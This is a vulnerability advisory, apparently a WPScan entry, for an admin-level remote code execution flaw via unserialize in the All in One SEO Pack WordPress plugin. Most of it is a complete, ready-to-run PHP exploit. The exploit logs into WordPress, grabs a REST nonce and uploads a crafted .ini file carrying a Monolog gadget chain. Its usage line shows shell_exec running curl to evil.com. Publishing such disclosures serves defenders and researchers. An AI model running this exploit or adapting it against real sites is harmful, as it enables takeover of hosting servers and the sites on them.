WordPress Plugin Vulnerabilities
All in One SEO Pack < 4.1.0.2 - Admin RCE via unserialize
Description
The plugin enables authenticated users with "aioseo_tools_settings" privilege (most of the time admin) to execute arbitrary code on the underlying host. Users can restore plugin's configuration by uploading a backup .ini file in the section "Tool > Import/Export". However, the plugin attempts to unserialize values of the .ini file. Moreover, the plugin embeds Monolog library which can be used to craft a gadget chain and thus trigger system command execution.
As exploitation requires high privileges, the main threat scenario concerns attackers willing to compromise system host on mutualized wordpress platform where plugin installation has been denied by security hardening by hosting provider (DISALLOW_FILE_MODS=true in config).
Proof of Concept
<?php /** All-in-one-seo-pack wordpress plugin <= 4.1.0.1 authenticated RCE Author: Vincent MICHEL (@darkpills) Dev notes: - Exploit strategy inspiration from https://wpscan.com/vulnerability/10320 - Monolog gadget adapted from phpggc Monolog/RCE1 - Copy/pasted PHPGGC encoding function */ // from phpggc Monolog/RCE1 with custom namespace prefix "AIOSEO\Vendor\" to match all-in-one-seo-pack plugin // ./phpggc -a Monolog/RCE1 shell_exec 'curl http://localhost:4444' namespace AIOSEO\Vendor\Monolog\Handler { class SyslogUdpHandler { protected $socket; function __construct($x) { $this->socket = $x; } } class BufferHandler { protected $handler; protected $bufferSize = -1; protected $buffer; # ($record['level'] < $this->level) == false protected $level = null; protected $initialized = true; # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false protected $bufferLimit = -1; protected $processors; function __construct($methods, $command) { $this->processors = $methods; $this->buffer = [$command]; $this->handler = clone $this; } } } namespace { // Quick and dirty HTTP request call class class Request { protected $base_url; protected $cookiejar; protected $proxy_host; protected $proxy_port; public function __construct($base_url, $proxy = null) { $this->base_url = $base_url; $this->cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-'); if ($proxy) { $proxy_array = explode(":", $proxy); $this->proxy_host = $proxy_array[0]; $this->proxy_port = $proxy_array[1]; } } public function do($uri, $post = null, $headers = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->base_url. $uri); curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); if ($this->proxy_host && $this->proxy_port) { curl_setopt($ch, CURLOPT_PROXY, $this->proxy_host); curl_setopt($ch, CURLOPT_PROXYPORT, $this->proxy_port); } if ($headers) { curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers); } if ($post) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } $content = curl_exec($ch); if(curl_errno($ch)) { throw new Exception(sprintf("HTTP Error: %s", curl_error($ch))); } $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code == 403) { throw new Exception(sprintf("HTTP Error: %d: %s\nMake sure you are connected with admin privileges", $http_code, $content)); } else if ($http_code >= 400) { throw new Exception(sprintf("HTTP Error: %d: %s", $http_code, $content)); } curl_close($ch); return $content; } } // Special characters encoding function from phpggc/lib/PHPGGC/Enhancement$ cat ASCIIStrings.php function process_serialized($serialized) { $new = ''; $last = 0; $current = 0; $pattern = '#\bs:([0-9]+):"#'; while( $current < strlen($serialized) && preg_match( $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current ) ) { $p_start = $matches[0][1]; $p_start_string = $p_start + strlen($matches[0][0]); $length = $matches[1][0]; $p_end_string = $p_start_string + $length; # Check if this really is a serialized string if(!( strlen($serialized) > $p_end_string + 2 && substr($serialized, $p_end_string, 2) == '";' )) { $current = $p_start_string; continue; } $string = substr($serialized, $p_start_string, $length); # Convert every special character to its S representation $clean_string = ''; for($i=0; $i < strlen($string); $i++) { $letter = $string[$i]; $clean_string .= ctype_print($letter) && $letter != '\\' ? $letter : sprintf("\\%02x", ord($letter)); ; } # Make the replacement $new .= substr($serialized, $last, $p_start - $last) . 'S:' . $matches[1][0] . ':"' . $clean_string . '";' ; $last = $p_end_string + 2; $current = $last; } $new .= substr($serialized, $last); return $new; } // Banner echo "-- All-in-one-seo-pack <= 4.1.0.1 authenticated admin RCE --".PHP_EOL; echo "-- Exploit by Vincent MICHEL (@darkpills) --".PHP_EOL.PHP_EOL; // Check args if ($argc < 6) { echo sprintf("Usage: php %s url login password php_command arguments [proxy]", $argv[0]).PHP_EOL; echo sprintf("Example: php %s https://mywordpress.site.com admin admin shell_exec 'curl http://evil.com/'", $argv[0]).PHP_EOL; exit(1); } // Check dependencies if (!extension_loaded("curl")) { echo "Extension php-curl not loaded!".PHP_EOL; exit(1); } // Settings $wp_url = $argv[1]; $wp_user = $argv[2]; $wp_pass = $argv[3]; $function = $argv[4]; $parameter = $argv[5]; $proxy = isset($argv[6]) ? $argv[6] : null; $request = new Request($wp_url, $proxy); try { // 1) Log in as admin echo sprintf("[+] Authenticating to wordpress %s", $wp_url).PHP_EOL; $request->do("/wp-login.php", [ 'log' => $wp_user, 'pwd' => $wp_pass, 'rememberme' => 'forever', 'wp-submit' => 'Log+In', ]); // 2) GET REST Nonce echo "[+] Getting WP REST API nonce".PHP_EOL; $content = $request->do("/wp-admin/post-new.php"); preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches); if (!isset($matches[1])) { echo sprintf("[!] Nonce not found, are you connected?").PHP_EOL; exit(1); } $restnonce = $matches[1]; echo sprintf("[+] Nonce found: %s", $restnonce).PHP_EOL; // 3) Upload file to trigger RCE echo sprintf("[+] Generating POST payload to execute command: %s(\"%s\")", $function, $parameter).PHP_EOL; // Create the POST payload template $boundary = uniqid(); $postData = ""; $postData .= "------WebKitFormBoundary".$boundary ."\r\n"; $postData .= "Content-Disposition: form-data; name=\"file\"; filename=\"test.ini\"\r\n"; $postData .= "Content-Type: application/octet-stream\r\n"; $postData .= "\r\n"; $postData .= "[Test]\r\n"; $postData .= "test='%s'\r\n"; $postData .= "\r\n"; $postData .= "------WebKitFormBoundary".$boundary ."--\r\n"; // Create the gadget chain object $gadgetChain = new \AIOSEO\Vendor\Monolog\Handler\SyslogUdpHandler( new \AIOSEO\Vendor\Monolog\Handler\BufferHandler( ['current', $function], [$parameter, 'level' => null] ) ); // Serialize the object, encode the string, and populate the POST template $postData = sprintf($postData, process_serialized(serialize($gadgetChain))); // Append in HTTP headers wordpress nonce from previous request in $headers = array( "X-WP-Nonce: $restnonce", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" . $boundary ); echo "[+] Uploading ini file with import settings".PHP_EOL; $content = $request->do("/index.php/wp-json/aioseo/v1/settings/import/", $postData, $headers); echo "[+] Done! Check the result somewhere (blind command execution)".PHP_EOL; exit(0); } catch (Exception $e) { echo sprintf("[!] Error: %s", $e->getMessage()).PHP_EOL; exit(1); } }
Affects Plugins
References
Classification
Type
RCE
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Vincent MICHEL
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-05-09 (about 3 years ago)
Added
2021-05-09 (about 3 years ago)
Last Updated
2021-05-11 (about 3 years ago)